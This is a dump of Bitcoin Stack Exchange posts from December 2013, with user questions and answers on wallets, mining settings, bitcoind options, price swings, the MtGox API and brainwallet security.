  <row Id="18570" PostTypeId="1" AcceptedAnswerId="18590" CreationDate="2013-12-12T03:36:00.053" Score="1" ViewCount="281" Body="&lt;p&gt;In this question, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16848/is-it-possible-to-transfer-bitcoins-from-blockchain-to-coinbase&quot;&gt;Is it possible to transfer BitCoins from BlockChain to CoinBase?&lt;/a&gt;, the answer implies that this is a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for me, this raises a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to Coinbase's tools for buying BTC straight through my bank account. But I like Blockchain's tools for backing up my wallet in standard encrypted format or cold storage. I would like to be able to exchange BTC on Coinbase, and then migrate those to my wallet on Blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that whether I happen to own both accounts is irrelevant. It seems exactly the same as any other BTC transaction. Is there actually a reason against this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16848/is-it-possible-to-transfer-bitcoins-from-blockchain-to-coinbase&quot;&gt;Is it possible to transfer BitCoins from BlockChain to CoinBase?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10655" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-12-12T11:12:13.780" Title="Why not send BTC between web wallets?" Tags="|transactions|blockchain.info|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18571" PostTypeId="2" ParentId="16769" CreationDate="2013-12-12T03:40:37.403" Score="7" Body="&lt;p&gt;I tried putting blockfile in .bitcoin directory and starting ./bitcoind&#xA;but doesn't works. By the way, this method works best for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind -loadblock=~/.bitcoin/bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to use loadbloack syntax with the ./bitcoind .&lt;/p&gt;&#xA;" OwnerDisplayName="user10603" LastEditorUserId="132" LastEditDate="2014-06-18T11:08:07.537" LastActivityDate="2014-06-18T11:08:07.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18576" PostTypeId="1" CreationDate="2013-12-12T05:16:27.870" Score="3" ViewCount="100" Body="&lt;p&gt;I have some thoughts about the following scenario.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The brightest future.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin becomes a very popular and liquid currency all over the world. Some serious financial or political parties may become unhappy with this fact - they may have no influence on an Internet or may be unable to publish new laws. Since the major support of the Bitcoin infrastructure comes from the logic of its official client. And the easiest way to shutdown the network, as I can see, is to compromise the client itself. Someone may:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy the Github at once and quickly release new malformed version of the official Bitcoin client.&lt;/li&gt;&#xA;&lt;li&gt;Bribe one of the trusted developers to sabotage the client code.&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem so impossible, if someone with a big money would really want to stop the Bitcoin, even if everybody else will like it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The question is&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to technically shutdown the whole Bitcoin network - with reasonable efforts and abilities to replace official client?&lt;/li&gt;&#xA;&lt;li&gt;Are there any Central Trusted Authorities, that may verify any arbitrary client out there for it's correctness about the Bitcoin Protocol and, thus, prevent my scenario?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I don't mean the situation, when someone will accidentally place an untrusted line in the client's code, and this fact will be overplayed to weaken the trust in the Bitcoin. I mean the situation, when the compromised client will irreversibly destroy all the system - leaving no viable ways to recover it.&lt;/p&gt;&#xA;" OwnerUserId="10460" LastEditorUserId="5406" LastEditDate="2017-12-23T18:59:24.707" LastActivityDate="2017-12-23T18:59:24.707" Title="How the Bitcoin community will handle attacks on a Client's code?" Tags="|security|bitcoin-core-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18577" PostTypeId="1" AcceptedAnswerId="18600" CreationDate="2013-12-12T05:42:36.863" Score="2" ViewCount="187" Body="&lt;p&gt;Let's imagine, that the bitcoin network becomes very responsive in the future. So, that the time of exchange of transactions between peers is comparable with a time of evaluation of a bunch of hashes. The bad situation comes, when the transactions rate is so high, that even if someone finds the new block, it becomes invalid with a very high probability due to the new accepted transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this possibly slow down the finding of the new blocks? May this even be a problem, or do I miss something?&lt;/p&gt;&#xA;" OwnerUserId="10460" LastEditorUserId="2306" LastEditDate="2014-09-13T19:46:56.450" LastActivityDate="2014-09-13T19:46:56.450" Title="What will happen, if transaction's rate becomes very high?" Tags="|transactions|weaknesses|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18578" PostTypeId="2" ParentId="16687" CreationDate="2013-12-12T07:21:34.217" Score="8" Body="&lt;p&gt;I do not think the question was about the &quot;how long&quot; it would take in average, but what are the odds, which is something completely different from my point o view.&#xA;If I understand well the concept of solving blocks then there are always more people/groups/pools trying to solve one block.&#xA;If that's so then solving a block is always more about the luck than the brute force you have. Even if you have a 1GH rig, you can still find the solution quicker then 1PH pool.&#xA;Question is: what are the odds that it will happen?&#xA;I would expect a ration : to take place in the answer.&#xA;So if the current total H-power is about 7.6PH it means that with 1GH rig you have 1:7600000 probability to solve the block approx. every 8 minutes. Which is 1:116 per a year, if the total H-power does not change and it basically does not depend on the difficulty, as the difficulty is based on total H-power.&lt;/p&gt;&#xA;" OwnerUserId="10664" LastActivityDate="2013-12-12T07:21:34.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18579" PostTypeId="1" CreationDate="2013-12-12T08:06:29.733" Score="1" ViewCount="311" Body="&lt;p&gt;Please, make a hint why bitcoin price fluctuates so much almost every day. Is this fluctuation artificial? How is it organised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there are already 12 million of bitcoins. On stock exchanges traders sell or buy rather modest sums, about hundreds or thousands of coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this influence (price drop of 10% a day) millions of other bitcoins so much?&lt;/p&gt;&#xA;" OwnerUserId="10667" LastActivityDate="2013-12-12T11:24:47.430" Title="What does influence Bitcoin price so much?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18580" PostTypeId="2" ParentId="18564" CreationDate="2013-12-12T08:44:33.330" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction fee is an incentive on the part of the bitcoin user to make sure that a particular transaction will get included into the next block which is generated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-12T08:44:33.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18581" PostTypeId="1" CreationDate="2013-12-12T09:50:31.990" Score="1" ViewCount="9206" Body="&lt;p&gt;I am mining litecoin with give-me-coins and I have the following info on website's stats section &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Valid Paid: 118&#xA; Invalid (Not Paid): 113 (95.76%)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I know this is not very good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it better ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use cgminer 3.7.2 (used 3.6.6 also) with following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt -o ltc-eu.give-me-coins.com:3333 -u user.pass -p x -I 11 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5064" LastEditorUserId="5406" LastEditDate="2016-04-25T21:21:30.657" LastActivityDate="2016-04-25T21:21:30.657" Title="Why would I have so many rejected shares while mining?" Tags="|litecoin|miner-configuration|cgminer|mining-pool-shares|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18582" PostTypeId="2" ParentId="17880" CreationDate="2013-12-12T10:05:57.150" Score="0" Body="&lt;p&gt;Check out this site by virtual_master: &lt;a href=&quot;http://namecoinia.org/&quot; rel=&quot;nofollow&quot;&gt;http://namecoinia.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can save it for offline use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this utility from casascius should do the job: &lt;a href=&quot;http://casascius.wordpress.com/2013/01/26/bitcoin-address-utility/&quot; rel=&quot;nofollow&quot;&gt;http://casascius.wordpress.com/2013/01/26/bitcoin-address-utility/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-12-12T10:05:57.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18584" PostTypeId="2" ParentId="18569" CreationDate="2013-12-12T10:08:58.070" Score="2" Body="&lt;p&gt;No. This feature does not exist (yet) in Namecoin.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-12-12T10:08:58.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18586" PostTypeId="2" ParentId="18405" CreationDate="2013-12-12T10:26:05.517" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; will show real people to trade with (online or by cash). It has Feedback system so you can check the person you will trading with.&lt;/p&gt;&#xA;" OwnerUserId="10676" LastActivityDate="2013-12-12T10:26:05.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18587" PostTypeId="1" CreationDate="2013-12-12T10:48:55.410" Score="7" ViewCount="5793" Body="&lt;p&gt;Where can I download historical data for Bitcoin price for mtgox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this 2 Year old thread:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/748/where-can-i-get-historic-data-series-of-bitcoin-prices&quot;&gt;Where can I get historic data series of Bitcoin prices?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The described solution is as follows:&#xA;download this tool and use it:&#xA;&lt;a href=&quot;https://bitbucket.org/nitrous/bq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitbucket.org/nitrous/bq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the tool only downloads data until 12.03.2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me what I need to do to get the data after this date. &#xA;Does someone have this data and could upload it or knows where to download the data?&lt;/p&gt;&#xA;" OwnerUserId="10677" LastEditorUserId="5406" LastEditorDisplayName="user1586" LastEditDate="2017-06-24T03:45:57.587" LastActivityDate="2017-11-10T09:27:04.240" Title="Where can I download BTC historical ticker data?" Tags="|exchange-rate|raw-data|historical-trade-data|live-data|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18588" PostTypeId="2" ParentId="13573" CreationDate="2013-12-12T10:51:57.840" Score="2" Body="&lt;p&gt;The site below has good information, including guides for different operating systems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Bootstrap.dat&quot; rel=&quot;nofollow&quot;&gt;litecoin.info/Bootstrap.dat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10678" LastActivityDate="2013-12-12T10:51:57.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18589" PostTypeId="2" ParentId="18581" CreationDate="2013-12-12T11:08:58.730" Score="1" Body="&lt;p&gt;You can try decreasing your intensity. Other parameters can also lower speed and decrease/remove failures. It's like running too eagerly, it might make you trip a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be your Internet connection or even give-me-coins itself (although I doubt it's give-me-coins itself).&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2013-12-12T12:57:09.853" LastActivityDate="2013-12-12T12:57:09.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18590" PostTypeId="2" ParentId="18570" CreationDate="2013-12-12T11:12:13.780" Score="1" Body="&lt;p&gt;Actually, the answer on the linked question states that it is possible, but that one should be careful not to return money back to the sending address, because said sending address might not be associated with the personal wallet, but rather owned by the service itself.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-12T11:12:13.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18591" PostTypeId="2" ParentId="18579" CreationDate="2013-12-12T11:19:26.140" Score="1" Body="&lt;p&gt;The market is full offer and demand based. People sell, price goes down. People buy, price goes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of people with new capital entering the market push the price up hard. Harder than the new Bitcoins, obtained through mining, are pushing it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to realize that people have to choose to sell or buy Bitcoin. The amount available is called &quot;market depth&quot; and it causes &quot;market liquidity&quot;. &lt;a href=&quot;http://mtgoxlive.com/&quot; rel=&quot;nofollow&quot;&gt;http://mtgoxlive.com/&lt;/a&gt; Is a display of &quot;market depth&quot;. You can mouse over the blue and orange lines to see how many bitcoins must be bought or sold to bring the price to a certain point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will see that the 4684 bitcoins must be sold (at prices offered by others) to bring the best-available price to 550 Euros. To bring the price up, 3687 bitcoins must be bought to bring the best available price to 750 Euros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchanges, real-time bids on Bitcoin for Euro or Euro for Bitcoin, are a method to find the &quot;right price&quot; of Bitcoin. Real-time exchanges fluctuate in the real world a lot too. It doesn't really work that well. But it succeeds in creating an acceptable price (if someone wishes to buy it for that price, it's worth that), and that's why the other Bitcoin are affected. People accept the spot price set by the people that use the exchanges.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="5406" LastEditDate="2013-12-12T11:24:47.430" LastActivityDate="2013-12-12T11:24:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18594" PostTypeId="2" ParentId="18568" CreationDate="2013-12-12T11:53:33.063" Score="4" Body="&lt;p&gt;The bootstrap.dat file contains a serialized copy of the blockchain, usually up to the latest checkpoint released for the official client.  The official bitcoin client will read this file when starting to create the blockchain without downloading it from the peer nodes.  The file will then be renamed to bootstrap.dat.old so it won't be reprocessed when the client is restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Python script used to create the file can be found &lt;a href=&quot;https://github.com/jgarzik/pynode/blob/master/mkbootstrap.py&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.  You will need an up-to-date pynode chain database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the Armory code, you can compile this &lt;a href=&quot;https://gist.github.com/dooglus/5002764&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;C++ program&lt;/strong&gt;&lt;/a&gt;.  This uses the blockchain data blocks created by the official bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-12T11:53:33.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18596" PostTypeId="1" CreationDate="2013-12-12T12:08:26.463" Score="1" ViewCount="183" Body="&lt;p&gt;Firstly, Im a complete novice at this whole bitcoin thing. I bought 0.15 BTC from an exchange and they were placed into an online wallet that would tax me for leaving them in there. So i decided I would send them to my Multibit wallet that i had already set up. I entered the correct address, and Multibit is now showing a balance of 0.15 BTC, but it is unavailable to spend. At first I assumed it was because it was unconfirmed, but when i checked Blockchain, it says it has been confirmed well over 125 times. So how long am i realistically looking at waiting? Will it be an automatic update to my spendable account, or is there something i have to do to release it. Any help would be massively appreciated, as i really am very confused at this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Blockchain: &lt;a href=&quot;https://blockchain.info/tx-index/19d5364d236b6d709e78b61eaf59c0c88155f76bb1241d3c89e8b82563a93421&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx-index/19d5364d236b6d709e78b61eaf59c0c88155f76bb1241d3c89e8b82563a93421&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10685" LastActivityDate="2014-06-28T11:28:56.150" Title="125+ confirmations, but Multibit does not recognise as Available to Spend" Tags="|multibit|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18597" PostTypeId="2" ParentId="18444" CreationDate="2013-12-12T12:13:26.040" Score="4" Body="&lt;p&gt;I contacted BitPay support about the issue and they said that it'll just work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we made our payment via 3 different transactions. As soon as all transactions were made, the BitPay window informed us:&quot;This invoice has been paid.&quot; At that moment either one of the transactions had a single confirmation or none had any. Then came the confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Addendum&lt;/em&gt; - The official response from BitPay support for question on paying via multiple transactions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;That should be fine. However with bitcoin you can structure a transaction to be paid&#xA;  from several accounts at one time. That's one of the cool concepts of&#xA;  Bitcoin. I recommend you check it out on wikipedia.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For sake of time your method should be sufficient. Make sure you do&#xA;  sufficient fees to speed up the transaction.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10468" LastActivityDate="2013-12-12T12:13:26.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18600" PostTypeId="2" ParentId="18577" CreationDate="2013-12-12T12:41:57.013" Score="0" Body="&lt;p&gt;This will not slow down the finding of a new block, because it is not necessary to include every new transaction in the next block. Miners can decide which and how many transactions to include and can only update the transaction set they mine on at arbitrary times. They could for example only update the data set every time they receive a new block, or every minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;below line is the answer to the previous edit of the question.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The scenario you describe cannot come to pass.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network is self-regulating and automatically resets the difficulty every 2016 blocks to sustain an expected time of 10 minutes between blocks. The difficulty will be adjusted by up to factor four.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Extremely fast verification cannot be sustained&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If a new block would be found every second in average (still magnitudes slower than your scenario calls for), the difficulty would be reset after 2016 seconds (33.6 minutes). The difficulty would quadruple, so in order to sustain that verification speed the networks hashing power would also have to increase four-fold in the same time! I am sure it is obvious, why the hashing power of the Bitcoin network will not quadruple every half hour for a significant frame of time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Between blocks transactions are collected and verified together in the block&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Every miner will collect all transactions transmitted to him, and whenever he tries to find a new block, he will try to include all unverified transactions together in that same block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once somebody finds a block, it will be broadcasted to the network and any receiving miner will check if it is valid and increases the length of his blockchain. If both is the case, he will accept it as a parent for the block he is trying to find. He will remove any transactions that have now been verified from his &quot;unverified transactions&quot; pool and will recommence to find a new block to verify the remaining transactions. Whenever more transactions are relayed to him, he will add them to his &quot;unverified transactions&quot; pool and will adjust the parameters of the block he is trying to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blocks cannot be changed after they have been found!&lt;/strong&gt; However, there can be several blocks that compete with each other to be accepted into the blockchain next, but such races will eventually be decided when a successor is found for one of the competitors. These &quot;mini-forks&quot; happen every once in a while, but is very unlikely that competing blockchain ends find new blocks several times in the row at the same time. Eventually, one will definitely be first and all other competitors become invalid.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Block size limit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is some concern that the current block size limit will become a problem, because it cannot handle a sufficient amount of transactions. Should this come to pass, however, it would not change the amount of time between blocks, but rather that every block would be filled with transactions and transactions that didn't make it into the block to be on a waiting list for a future block. There is currently an ongoing effort to adjust the blocksize limit in order to support a bigger number of transactions per time.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-12T13:09:15.077" LastActivityDate="2013-12-12T13:09:15.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18601" PostTypeId="2" ParentId="16687" CreationDate="2013-12-12T12:55:05.390" Score="3" Body="&lt;p&gt;It's better than being in the lottery!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chance you actually find a block will sadly decrease over time (probably). Thing is, if you're lucky you win the lottery. And if you don't get lucky, you don't win and get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of being in a pool is that you play in more lotteries, so your luck averages out . If you get lucky 1% of the time and you try once, you probably won 0% of the time. If you try very often it will tend to balance around 1%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, all chance calculations aside, are you feeling lucky?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question more directly: the long block-intervals (10 minutes) are there to reduce network-lag's influence on people's ability to mine on the newest block. There's some influence, inevitably, but others endure it too. Pools can have a minor advantage if they're close together, but the miners connect through them instead of directly. I think there'd be no difference worth mentioning. Short: Yes, it is your % vs network %.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small footnote should be made about selfish mining, if another pool is big enough they'll have a mining advantage. Smaller it'd be a disadvantage. It's not being done and I hope pools will stay spread thinly enough to make it ineffective. You can safely ignore this. It also doesn't likely matter when you're &quot;lottery mining&quot; (you're still betting just on your own luck!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you'll have more luck solo-mining LiteCoin or another GPU/CPU coin. Unless you own an ASIC, of course.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-12-12T12:55:05.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18602" PostTypeId="2" ParentId="13489" CreationDate="2013-12-12T13:18:29.157" Score="2" Body="&lt;p&gt;We made a much improved version of brainwallet that uses scrypt key-stretching to protect your secret key.  See it here: &lt;a href=&quot;https://keybase.io/warp&quot; rel=&quot;nofollow&quot;&gt;https://keybase.io/warp&lt;/a&gt;.  There's currently an unbroken 20BTC challenge for an 8-letter passphrase.&lt;/p&gt;&#xA;" OwnerUserId="10688" LastActivityDate="2013-12-12T13:18:29.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18604" PostTypeId="2" ParentId="8449" CreationDate="2013-12-12T13:24:35.163" Score="4" Body="&lt;p&gt;They can be made a heck-of-a-lot safer with simple key-stretching.  The WarpWallet runs Scrypt on your passphrase, and outputs a string in the full 256-bit keyspace.  It's at least 1000x more expensive to guess a WarpWallet address than a standard brainwallet address.  And if you had access to high-end scrypt-computing hardware, you're probably better off using it to mine litecoins rather than go after WarpWallets.  See &lt;a href=&quot;https://keybase.io/warp&quot; rel=&quot;nofollow&quot;&gt;https://keybase.io/warp&lt;/a&gt;.  There's a 20BTC challenge to solve an 8-letter WarpWallet passphrase that's been open for almost a month.&lt;/p&gt;&#xA;" OwnerUserId="10688" LastActivityDate="2013-12-12T13:24:35.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18608" PostTypeId="1" AcceptedAnswerId="18610" CreationDate="2013-12-12T13:51:34.260" Score="1" ViewCount="814" Body="&lt;p&gt;I've started to implement my bitcoin client to learn the protocol and faced a problem to see debugging output. When I start bitcoind with -debug option, it start to print so many debug messages in such speed that i can't see whats wrong with my client implementation. How can I start the bitcoind program in such way that it will not sync and just listen to new connections from local machine?&lt;/p&gt;&#xA;" OwnerUserId="10692" LastEditorUserId="5406" LastEditDate="2014-10-04T07:50:09.653" LastActivityDate="2014-10-04T07:50:09.653" Title="How to allow only local connections?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18610" PostTypeId="2" ParentId="18608" CreationDate="2013-12-12T14:26:33.407" Score="1" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -bind=127.0.0.1 -connect=127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4257" LastEditorUserId="4257" LastEditDate="2013-12-12T15:17:05.990" LastActivityDate="2013-12-12T15:17:05.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18611" PostTypeId="1" AcceptedAnswerId="18628" CreationDate="2013-12-12T15:20:03.943" Score="0" ViewCount="234" Body="&lt;p&gt;I'm using MtGox's PubNub API to fetch ticker data. I've subscribed to the BTC/EUR ticker with id 0bb6da8b-f6c6-4ecf-8f0d-a544ad948c15 . In more than half the cases when I receive a new ticker message, the data is just the same as that of the previous message, except for the timestamp of course. I expected ticker messages only when there is new data available, so I do not understand why the ticker messages get repeated. Examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff_to_previous  instant_________      last_all        last_local      last_orig       buy_____        sell____        vwap____        vol_____________    item  avg_____      high____        low_____&#xA;n/a               2013-12-12 16:31:46   EUR 628.31408   EUR 620.22000   USD 865.00000   EUR 620.22000   EUR 629.00000   EUR 647.91649   BTC 1365.61335998   BTC   EUR 649.27938 EUR 680.00000   EUR 615.00000&#xA;none              2013-12-12 16:31:50   EUR 628.31408   EUR 620.22000   USD 865.00000   EUR 620.22000   EUR 629.00000   EUR 647.91649   BTC 1365.61335998   BTC   EUR 649.27938 EUR 680.00000   EUR 615.00000&#xA;none              2013-12-12 16:31:53   EUR 628.31408   EUR 620.22000   USD 865.00000   EUR 620.22000   EUR 629.00000   EUR 647.91649   BTC 1365.61335998   BTC   EUR 649.27938 EUR 680.00000   EUR 615.00000&#xA;last_all          2013-12-12 16:32:05   EUR 617.41846   EUR 620.22000   USD 850.00000   EUR 620.23000   EUR 629.00000   EUR 647.91649   BTC 1365.61335998   BTC   EUR 649.27938 EUR 680.00000   EUR 615.00000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What kind of events trigger a ticker message to be broadcast?&lt;/p&gt;&#xA;" OwnerUserId="6021" LastEditorUserId="6021" LastEditDate="2013-12-12T16:39:59.407" LastActivityDate="2013-12-12T21:25:29.637" Title="Why are ticker messages in the MtGox PubNub API repeated?" Tags="|mtgox|api|ticker|pubnub|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18612" PostTypeId="1" CreationDate="2013-12-12T16:22:50.743" Score="1" ViewCount="4046" Body="&lt;p&gt;I am really impressed with Cex.io and their whole concept of trading Ghs for Bitcoin as well as cloud mining which I find to be novel and interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other sites like that? I know there are a number of cloud hashing sites but what I am looking for is one similar to Cex where I can also do commodity trading.&lt;/p&gt;&#xA;" OwnerUserId="9430" LastEditorUserId="5406" LastEditDate="2016-03-14T20:18:23.803" LastActivityDate="2016-03-14T20:18:23.803" Title="Alternative Cloud Hashing sites to Cex.io" Tags="|mining-pools|hash|cloud-mining|" AnswerCount="4" CommentCount="5" ClosedDate="2014-02-12T12:27:00.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="18613" PostTypeId="1" CreationDate="2013-12-12T16:28:52.447" Score="4" ViewCount="427" Body="&lt;p&gt;When and where did the term come up for the first time? Did Satoshi Nakamoto comment on the naming?&lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="5406" LastEditDate="2015-11-07T15:17:08.083" LastActivityDate="2015-11-07T15:17:08.083" Title="Who has named 10e-8 BTC &quot;Satoshi&quot;?" Tags="|history|terminology|satoshi-nakamoto|satoshi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18614" PostTypeId="2" ParentId="17968" CreationDate="2013-12-12T17:49:37.780" Score="3" Body="&lt;p&gt;No. Hashes are computed upon receipt of the Tx message, and stored in a database outside the blockchain by the client/node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1sqa1q/techincal_do_transaction_messages_between_nodes/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1sqa1q/techincal_do_transaction_messages_between_nodes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2013-12-12T17:49:37.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
